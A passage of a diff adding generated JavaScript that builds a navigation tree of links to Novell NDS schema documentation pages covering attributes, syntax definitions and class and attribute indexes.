+ setLevels();
+ var navElement = navigationLink("NSCP:mailDeliveryOption ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4518.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailForwardingAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4524.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailHost ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4530.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailMessageStore ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4536.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailProgramDeliveryInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4542.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailQuota ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4548.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:ngComponent ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4566.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsLicenseEndTime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4596.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsLicensedFor ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4602.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsLicenseStartTime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4608.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Page Description Languages ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4710.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("preferredLanguage ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oon3t.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Primary Notification Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4836.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Primary Resource Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4842.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Agent Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4866.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Manufacturer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4884.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Mechanism Types ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4890.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Model ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4896.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4902.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer to PA ID Mappings ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4908.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("PSM Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4938.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registry Advertising Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4986.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registry Service Enabled ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4992.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registry Srvc Net Addr ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4998.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registry Srvc Net Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5004.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resolution ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5022.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgmt Srvc Net Addr ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5034.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgmt Srvc Net Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5040.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgmt Service Enabled ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5046.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgr Database Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5052.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource Mgr Database Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5058.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("secretary ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oon40.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Sides Supported ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5184.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Attribute ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5190.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Cache Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5196.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP DA Back Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5202.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Directory Agent DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5208.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Language ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5214.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Lifetime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5220.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Scope Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5226.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Scope Unit DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5232.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Start Purge Hour ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5238.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5244.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP SU Back Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5250.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP SU Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5256.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5262.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP URL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5268.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SMS Protocol Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5274.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SMS Registered Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5280.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SU ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5292.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SvcInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5340.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SvcType ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5346.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SvcTypeID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5352.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("userSMIMECertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oorbh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("LDAP Operational Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a7lnqjy.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("createTimeStamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fur3q.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("creatorsName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fur3f.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("entryFlags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fuxcp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("federationBoundary ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fzxsm.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("localEntryID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fzcam.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("modifiersName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fur3j.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("modifyTimeStamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fur3x.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("structuralObjectClass ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fuxcb.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("subordinateCount ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fuxci.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("subschemaSubentry ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6fuxc4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Attribute Syntax Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h55cqjqs.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Back Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5533.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Boolean ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5540.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Case Exact String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5547.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Case Ignore List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5554.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Case Ignore String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5561.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Class Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5568.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Counter ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5575.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Distinguished Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5582.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("EMail Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5589.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Facsimile Telephone Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5596.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Hold ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5603.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Integer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5610.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5617.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Net Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5624.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Numeric String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5631.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object ACL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5638.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Octet List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5645.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Octet String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5652.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5659.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postal Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5666.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printable String ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5673.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica Pointer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5680.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Stream ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5687.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Telephone Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5694.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5701.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Timestamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5708.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Typed Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5715.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5722.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Index of Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("A through B ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx2.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("C through D ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx3.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("E through K ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("L through M ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("N ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("O ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("P through R ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("S ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("T through Z ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx10.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Index of Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx11.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("A ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx12.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("B ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx13.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("C ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx14.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("D ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx15.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("E ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx16.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("F through G ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx17.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("H ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx18.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("I through K ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx19.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("L ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx20.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("M ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx21.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("N ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx22.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("O ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx23.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
